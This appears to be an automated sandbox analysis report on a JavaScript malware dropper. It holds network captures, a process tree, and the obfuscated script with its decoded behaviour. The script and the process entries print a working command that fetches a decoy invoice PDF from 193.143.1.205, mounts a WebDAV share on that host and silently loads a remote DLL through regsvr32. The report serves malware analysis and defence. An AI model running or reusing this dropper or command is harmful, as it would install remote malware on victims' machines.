Jan 11, 2025 07:37:31.079243898 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 07:37:31.079256058 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 07:37:31.079267025 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 07:37:31.079278946 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 07:37:31.079291105 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 07:37:31.079303980 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 07:37:31.079320908 CET	152	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[
Jan 11, 2025 07:37:31.142771959 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7728	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:37:32.618037939 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 07:37:33.431616068 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:37:33 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	01:37:24
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1534283901292319457.js"
Imagebase:	0x7ff7cea50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:37:25
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll
Imagebase:	0x7ff7b7430000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:37:25
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:37:25
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:37:31
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	01:37:31
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b7430000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:37:31
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f5d00000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:37:32
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	01:37:32
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	01:37:32
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1648,i,5979320393867997677,284756554289427971,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fawbhx() {	fawbhx() ➔ undefined
1	awdjjsxe = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var neexxeytg = this[tywgwhiu + ytsdqh + uwsnuy + umlyxz + bxapi + aannpuqp + puaruynv + keokl] ( this[qrcpmc + elxecg + xaujrsmv + uwsnuy + fjhpwj + tywgwhiu + keokl][zwetmsymf + uwsnuy + bxapi + ytsdqh + keokl + bxapi + xrbhfgr + yqvga + qlbalf + bxapi + xaujrsmv + keokl] ( qrcpmc + elxecg + xaujrsmv + uwsnuy + fjhpwj + tywgwhiu + keokl + svraixji + elxecg + dpqecfqg + bxapi + ijcxbaf + ijcxbaf ) [mgoqg + bxapi + kcnmuv + mgoqg + bxapi + ytsdqh + jcbpyypnr] ( fzsjwzrg + oqffh + xjeirihw + bqioyw + bpvltxkg + zwetmsymf + zuztrd + mgoqg + mgoqg + xjeirihw + gdcgfx + mdneyjzdw + bpvltxkg + zuztrd + elxecg + xjeirihw + mgoqg + vposycd + zwetmsymf + zkaebxd + puaruynv + keokl + uwsnuy + zkaebxd + ijcxbaf + ifgdvgdzg + durkht + ytsdqh + puaruynv + bxapi + ijcxbaf + vposycd + aannpuqp + puaruynv + keokl + bxapi + uwsnuy + puaruynv + ytsdqh + keokl + fjhpwj + zkaebxd + puaruynv + ytsdqh + ijcxbaf + vposycd + nmdmjx + zkaebxd + xaujrsmv + ytsdqh + ijcxbaf + bxapi ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jgnornj = 0 ; jgnornj < awdjjsxe[ijcxbaf + bxapi + puaruynv + kcnmuv + keokl + dpqecfqg] ; ++ jgnornj )
4	{
5	if ( neexxeytg == awdjjsxe[jgnornj] )
6	{
7	neexxeytg = true;
8	break ;
9	}
10	}
11	if ( neexxeytg !== true )
12	this[qrcpmc + elxecg + xaujrsmv + uwsnuy + fjhpwj + tywgwhiu + keokl][ihhnoi + mzjbgtup + fjhpwj + keokl] ( );
13	this[qrcpmc + elxecg + xaujrsmv + uwsnuy + fjhpwj + tywgwhiu + keokl][zwetmsymf + uwsnuy + bxapi + ytsdqh + keokl + bxapi + xrbhfgr + yqvga + qlbalf + bxapi + xaujrsmv + keokl] ( qrcpmc + elxecg + xaujrsmv + uwsnuy + fjhpwj + tywgwhiu + keokl + svraixji + elxecg + dpqecfqg + bxapi + ijcxbaf + ijcxbaf ) [uwsnuy + mzjbgtup + puaruynv] ( xaujrsmv + sfzvmighb + jcbpyypnr + ifgdvgdzg + yksctf + xaujrsmv + ifgdvgdzg + tywgwhiu + zkaebxd + khrxd + bxapi + uwsnuy + umlyxz + dpqecfqg + bxapi + ijcxbaf + ijcxbaf + svraixji + bxapi + snyfizv + bxapi + ifgdvgdzg + buqzsq + zwetmsymf + zkaebxd + sfzvmighb + sfzvmighb + ytsdqh + puaruynv + jcbpyypnr + ifgdvgdzg + klbes + aannpuqp + puaruynv + nyopinnw + zkaebxd + nqdnyuvm + bxapi + buqzsq + qrcpmc + bxapi + yqvga + mgoqg + bxapi + hthojoddh + mzjbgtup + bxapi + umlyxz + keokl + ifgdvgdzg + buqzsq + xrbhfgr + mzjbgtup + keokl + wmecun + fjhpwj + ijcxbaf + bxapi + ifgdvgdzg + pyywhjxd + keokl + bxapi + sfzvmighb + tywgwhiu + pyywhjxd + vposycd + fjhpwj + puaruynv + nyopinnw + zkaebxd + fjhpwj + xaujrsmv + bxapi + svraixji + tywgwhiu + jcbpyypnr + axajq + ifgdvgdzg + dpqecfqg + keokl + keokl + tywgwhiu + iwafzmb + yksctf + yksctf + frvjoq + gilxthp + onotzm + svraixji + frvjoq + iczsoz + onotzm + svraixji + frvjoq + svraixji + figiiff + fczgcypo + dywzy + yksctf + fjhpwj + puaruynv + nyopinnw + zkaebxd + fjhpwj + xaujrsmv + bxapi + svraixji + tywgwhiu + dpqecfqg + tywgwhiu + klbes + fitaitee + fitaitee + umlyxz + keokl + ytsdqh + uwsnuy + keokl + ifgdvgdzg + pyywhjxd + keokl + bxapi + sfzvmighb + tywgwhiu + pyywhjxd + vposycd + fjhpwj + puaruynv + nyopinnw + zkaebxd + fjhpwj + xaujrsmv + bxapi + svraixji + tywgwhiu + jcbpyypnr + axajq + fitaitee + fitaitee + xaujrsmv + sfzvmighb + jcbpyypnr + ifgdvgdzg + yksctf + xaujrsmv + ifgdvgdzg + puaruynv + bxapi + keokl + ifgdvgdzg + mzjbgtup + umlyxz + bxapi + ifgdvgdzg + vposycd + vposycd + frvjoq + gilxthp + onotzm + svraixji + frvjoq + iczsoz + onotzm + svraixji + frvjoq + svraixji + figiiff + fczgcypo + dywzy + wffqzm + wzowpnrm + wzowpnrm + wzowpnrm + wzowpnrm + vposycd + jcbpyypnr + ytsdqh + nyopinnw + khrxd + khrxd + khrxd + uwsnuy + zkaebxd + zkaebxd + keokl + vposycd + fitaitee + fitaitee + xaujrsmv + sfzvmighb + jcbpyypnr + ifgdvgdzg + yksctf + xaujrsmv + ifgdvgdzg + uwsnuy + bxapi + kcnmuv + umlyxz + nyopinnw + uwsnuy + onotzm + figiiff + ifgdvgdzg + yksctf + umlyxz + ifgdvgdzg + vposycd + vposycd + frvjoq + gilxthp + onotzm + svraixji + frvjoq + iczsoz + onotzm + svraixji + frvjoq + svraixji + figiiff + fczgcypo + dywzy + wffqzm + wzowpnrm + wzowpnrm + wzowpnrm + wzowpnrm + vposycd + jcbpyypnr + ytsdqh + nyopinnw + khrxd + khrxd + khrxd + uwsnuy + zkaebxd + zkaebxd + keokl + vposycd + frvjoq + figiiff + figiiff + wzowpnrm + dywzy + figiiff + wzowpnrm + fczgcypo + fczgcypo + iczsoz + figiiff + gilxthp + iczsoz + frvjoq + wzowpnrm + svraixji + jcbpyypnr + ijcxbaf + ijcxbaf, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\122852800429418.dll",0,false) ➔ 0
14	}
15	fjhpwj = "u";
16	fjhpwj = "S";
17	fjhpwj = "C";
18	fjhpwj = "R";
19	fjhpwj = "S";
20	fjhpwj = "K";
21	fjhpwj = "f";
22	fjhpwj = "j";
23	fjhpwj = "W";
24	fjhpwj = "E";
25	fjhpwj = "W";
26	fjhpwj = "U";
27	fjhpwj = "Y";
28	fjhpwj = "m";
29	fjhpwj = "O";
30	fjhpwj = "P";
31	fjhpwj = "L";
32	fjhpwj = "e";
33	fjhpwj = "g";
34	fjhpwj = "v";
35	fjhpwj = "E";
36	fjhpwj = "n";
37	fjhpwj = "m";
38	fjhpwj = "Y";
39	fjhpwj = "i";
40	fjhpwj = "A";
41	fjhpwj = "I";
42	fjhpwj = "H";
43	fjhpwj = "r";
44	fjhpwj = "e";
45	fjhpwj = "U";
46	fjhpwj = "B";
47	fjhpwj = "r";
48	fjhpwj = "d";
49	fjhpwj = "F";
50	fjhpwj = "A";
51	fjhpwj = "C";
52	fjhpwj = "I";
53	fjhpwj = "i";
54	wffqzm = "A";
55	wffqzm = "B";
56	wffqzm = "F";
57	wffqzm = "s";
58	wffqzm = "r";
59	wffqzm = "D";
60	wffqzm = "B";
61	wffqzm = "o";
62	wffqzm = "L";
63	wffqzm = "Z";
64	wffqzm = "v";
65	wffqzm = "D";
66	wffqzm = "D";
67	wffqzm = "C";
68	wffqzm = "y";
69	wffqzm = "n";
70	wffqzm = "x";
71	wffqzm = "o";
72	wffqzm = "P";
73	wffqzm = "H";
74	wffqzm = "x";
75	wffqzm = "C";
76	wffqzm = "t";
77	wffqzm = "P";
78	wffqzm = "h";
79	wffqzm = "V";
80	wffqzm = "W";
81	wffqzm = "@";
82	qrcpmc = "Y";
83	qrcpmc = "i";
84	qrcpmc = "y";
85	qrcpmc = "z";
86	qrcpmc = "a";
87	qrcpmc = "W";
88	xaujrsmv = "f";
89	xaujrsmv = "o";
90	xaujrsmv = "g";
91	xaujrsmv = "i";
92	xaujrsmv = "g";
93	xaujrsmv = "j";
94	xaujrsmv = "f";
95	xaujrsmv = "X";
96	xaujrsmv = "y";
97	xaujrsmv = "o";
98	xaujrsmv = "o";
99	xaujrsmv = "Z";
100	xaujrsmv = "D";
101	xaujrsmv = "v";
102	xaujrsmv = "z";
103	xaujrsmv = "I";
104	xaujrsmv = "E";
105	xaujrsmv = "J";
106	xaujrsmv = "I";
107	xaujrsmv = "d";
108	xaujrsmv = "Q";
109	xaujrsmv = "K";
110	xaujrsmv = "N";
111	xaujrsmv = "d";
112	xaujrsmv = "o";
113	xaujrsmv = "q";
114	xaujrsmv = "e";
115	xaujrsmv = "Y";
116	xaujrsmv = "K";
117	xaujrsmv = "V";
118	xaujrsmv = "I";
119	xaujrsmv = "K";
120	xaujrsmv = "u";
121	xaujrsmv = "D";
122	xaujrsmv = "Q";
123	xaujrsmv = "e";
124	xaujrsmv = "g";
125	xaujrsmv = "c";
126	mdneyjzdw = "E";
127	mdneyjzdw = "l";
128	mdneyjzdw = "N";
129	mdneyjzdw = "j";
130	mdneyjzdw = "q";
131	mdneyjzdw = "h";
132	mdneyjzdw = "y";
133	mdneyjzdw = "R";
134	mdneyjzdw = "H";
135	mdneyjzdw = "K";
136	mdneyjzdw = "c";
137	mdneyjzdw = "Q";
138	mdneyjzdw = "d";
139	mdneyjzdw = "V";
140	mdneyjzdw = "G";
141	mdneyjzdw = "f";
142	mdneyjzdw = "Q";
143	mdneyjzdw = "D";
144	mdneyjzdw = "D";
145	mdneyjzdw = "Y";
146	mdneyjzdw = "T";
147	khrxd = "A";
148	khrxd = "x";
149	khrxd = "w";
150	snyfizv = "s";
151	snyfizv = "q";
152	snyfizv = "N";
153	snyfizv = "F";
154	snyfizv = "k";
155	snyfizv = "t";
156	snyfizv = "s";
157	snyfizv = "L";
158	snyfizv = "k";
159	snyfizv = "X";
160	snyfizv = "h";
161	snyfizv = "S";
162	snyfizv = "q";
163	snyfizv = "U";
164	snyfizv = "X";
165	snyfizv = "F";
166	snyfizv = "o";
167	snyfizv = "m";
168	snyfizv = "a";
169	snyfizv = "b";
170	snyfizv = "g";
171	snyfizv = "K";
172	snyfizv = "x";
173	nmdmjx = "z";
174	nmdmjx = "m";
175	nmdmjx = "N";
176	nmdmjx = "N";
177	nmdmjx = "x";
178	nmdmjx = "R";
179	nmdmjx = "L";
180	nmdmjx = "f";
181	nmdmjx = "K";
182	nmdmjx = "W";
183	nmdmjx = "I";
184	nmdmjx = "P";
185	nmdmjx = "k";
186	nmdmjx = "e";
187	nmdmjx = "V";
188	nmdmjx = "G";
189	nmdmjx = "J";
190	nmdmjx = "X";
191	nmdmjx = "k";
192	nmdmjx = "M";
193	nmdmjx = "i";
194	nmdmjx = "J";
195	nmdmjx = "Q";
196	nmdmjx = "h";
197	nmdmjx = "C";
198	nmdmjx = "s";
199	nmdmjx = "A";
200	nmdmjx = "V";
201	nmdmjx = "J";
202	nmdmjx = "k";
203	nmdmjx = "L";
204	nmdmjx = "F";
205	nmdmjx = "W";
206	nmdmjx = "Z";
207	nmdmjx = "B";
208	nmdmjx = "h";
209	nmdmjx = "t";
210	nmdmjx = "W";
211	nmdmjx = "F";
212	nmdmjx = "L";
213	ihhnoi = "Z";
214	ihhnoi = "s";
215	ihhnoi = "m";
216	ihhnoi = "k";
217	ihhnoi = "C";
218	ihhnoi = "o";
219	ihhnoi = "x";
220	ihhnoi = "z";
221	ihhnoi = "A";
222	ihhnoi = "H";
223	ihhnoi = "G";
224	ihhnoi = "W";
225	ihhnoi = "K";
226	ihhnoi = "S";
227	ihhnoi = "p";
228	ihhnoi = "v";
229	ihhnoi = "q";
230	ihhnoi = "Y";
231	ihhnoi = "G";
232	ihhnoi = "x";
233	ihhnoi = "L";
234	ihhnoi = "q";
235	ihhnoi = "G";
236	ihhnoi = "u";
237	ihhnoi = "x";
238	ihhnoi = "i";
239	ihhnoi = "c";
240	ihhnoi = "l";
241	ihhnoi = "D";
242	ihhnoi = "Y";
243	ihhnoi = "Z";
244	ihhnoi = "n";
245	ihhnoi = "Q";
246	nyopinnw = "h";
247	nyopinnw = "N";
248	nyopinnw = "H";
249	nyopinnw = "T";
250	nyopinnw = "r";
251	nyopinnw = "s";
252	nyopinnw = "R";
253	nyopinnw = "e";
254	nyopinnw = "a";
255	nyopinnw = "h";
256	nyopinnw = "e";
257	nyopinnw = "v";
258	nqdnyuvm = "U";
259	nqdnyuvm = "o";
260	nqdnyuvm = "z";
261	nqdnyuvm = "e";
262	nqdnyuvm = "c";
263	nqdnyuvm = "j";
264	nqdnyuvm = "A";
265	nqdnyuvm = "Q";
266	nqdnyuvm = "e";
267	nqdnyuvm = "d";
268	nqdnyuvm = "r";
269	nqdnyuvm = "R";
270	nqdnyuvm = "L";
271	nqdnyuvm = "N";
272	nqdnyuvm = "k";
273	kcnmuv = "l";
274	kcnmuv = "b";
275	kcnmuv = "W";
276	kcnmuv = "b";
277	kcnmuv = "j";
278	kcnmuv = "N";
279	kcnmuv = "C";
280	kcnmuv = "G";
281	kcnmuv = "y";
282	kcnmuv = "i";
283	kcnmuv = "b";
284	kcnmuv = "v";
285	kcnmuv = "R";
286	kcnmuv = "e";
287	kcnmuv = "n";
288	kcnmuv = "x";
289	kcnmuv = "z";
290	kcnmuv = "s";
291	kcnmuv = "F";
292	kcnmuv = "w";
293	kcnmuv = "C";
294	kcnmuv = "M";
295	kcnmuv = "O";
296	kcnmuv = "u";
297	kcnmuv = "Z";
298	kcnmuv = "T";
299	kcnmuv = "m";
300	kcnmuv = "K";
301	kcnmuv = "t";
302	kcnmuv = "H";
303	kcnmuv = "U";
304	kcnmuv = "S";
305	kcnmuv = "g";
306	fitaitee = "j";
307	fitaitee = "C";
308	fitaitee = "s";
309	fitaitee = "A";
310	fitaitee = "N";
311	fitaitee = "v";
312	fitaitee = "W";
313	fitaitee = "s";
314	fitaitee = "J";
315	fitaitee = "Z";
316	fitaitee = "V";
317	fitaitee = "a";
318	fitaitee = "B";
319	fitaitee = "r";
320	fitaitee = "e";
321	fitaitee = "q";
322	fitaitee = "s";
323	fitaitee = "q";
324	fitaitee = "z";
325	fitaitee = "r";
326	fitaitee = "m";
327	fitaitee = "U";
328	fitaitee = "&";
329	fczgcypo = "m";
330	fczgcypo = "P";
331	fczgcypo = "M";
332	fczgcypo = "z";
333	fczgcypo = "Y";
334	fczgcypo = "Y";
335	fczgcypo = "k";
336	fczgcypo = "A";
337	fczgcypo = "A";
338	fczgcypo = "m";
339	fczgcypo = "0";
340	gilxthp = "r";
341	gilxthp = "W";
342	gilxthp = "j";
343	gilxthp = "f";
344	gilxthp = "p";
345	gilxthp = "m";
346	gilxthp = "T";
347	gilxthp = "T";
348	gilxthp = "g";
349	gilxthp = "z";
350	gilxthp = "p";
351	gilxthp = "l";
352	gilxthp = "K";
353	gilxthp = "H";
354	gilxthp = "Z";
355	gilxthp = "s";
356	gilxthp = "O";
357	gilxthp = "A";
358	gilxthp = "O";
359	gilxthp = "w";
360	gilxthp = "Y";
361	gilxthp = "D";
362	gilxthp = "F";
363	gilxthp = "T";
364	gilxthp = "h";
365	gilxthp = "y";
366	gilxthp = "E";
367	gilxthp = "o";
368	gilxthp = "P";
369	gilxthp = "w";
370	gilxthp = "p";
371	gilxthp = "M";
372	gilxthp = "g";
373	gilxthp = "t";
374	gilxthp = "S";
375	gilxthp = "I";
376	gilxthp = "G";
377	gilxthp = "v";
378	gilxthp = "G";
379	gilxthp = "Z";
380	gilxthp = "9";
381	dpqecfqg = "v";
382	dpqecfqg = "U";
383	dpqecfqg = "h";
384	dpqecfqg = "W";
385	dpqecfqg = "b";
386	dpqecfqg = "T";
387	dpqecfqg = "O";
388	dpqecfqg = "L";
389	dpqecfqg = "H";
390	dpqecfqg = "t";
391	dpqecfqg = "e";
392	dpqecfqg = "D";
393	dpqecfqg = "X";
394	dpqecfqg = "e";
395	dpqecfqg = "h";
396	durkht = "m";
397	durkht = "E";
398	durkht = "z";
399	durkht = "w";
400	durkht = "d";
401	durkht = "T";
402	durkht = "b";
403	durkht = "O";
404	durkht = "i";
405	durkht = "I";
406	durkht = "x";
407	durkht = "s";
408	durkht = "n";
409	durkht = "P";
410	durkht = "G";
411	durkht = "w";
412	durkht = "y";
413	durkht = "L";
414	durkht = "U";
415	durkht = "m";
416	durkht = "T";
417	durkht = "t";
418	durkht = "v";
419	durkht = "j";
420	durkht = "U";
421	durkht = "z";
422	durkht = "R";
423	durkht = "q";
424	durkht = "u";
425	durkht = "b";
426	durkht = "s";
427	durkht = "H";
428	durkht = "a";
429	durkht = "f";
430	durkht = "O";
431	durkht = "P";
432	svraixji = "Q";
433	svraixji = "Z";
434	svraixji = "F";
435	svraixji = "E";
436	svraixji = "d";
437	svraixji = "f";
438	svraixji = "v";
439	svraixji = "j";
440	svraixji = "Q";
441	svraixji = "e";
442	svraixji = ".";
443	puaruynv = "G";
444	puaruynv = "Y";
445	puaruynv = "P";
446	puaruynv = "K";
447	puaruynv = "n";
448	dywzy = "O";
449	dywzy = "v";
450	dywzy = "i";
451	dywzy = "Q";
452	dywzy = "S";
453	dywzy = "Z";
454	dywzy = "x";
455	dywzy = "v";
456	dywzy = "G";
457	dywzy = "X";
458	dywzy = "L";
459	dywzy = "L";
460	dywzy = "H";
461	dywzy = "l";
462	dywzy = "B";
463	dywzy = "u";
464	dywzy = "N";
465	dywzy = "Z";
466	dywzy = "P";
467	dywzy = "s";
468	dywzy = "k";
469	dywzy = "5";
470	gdcgfx = "M";
471	gdcgfx = "k";
472	gdcgfx = "N";
473	fzsjwzrg = "Y";
474	fzsjwzrg = "H";
475	iczsoz = "N";
476	iczsoz = "4";
477	iwafzmb = "C";
478	iwafzmb = "z";
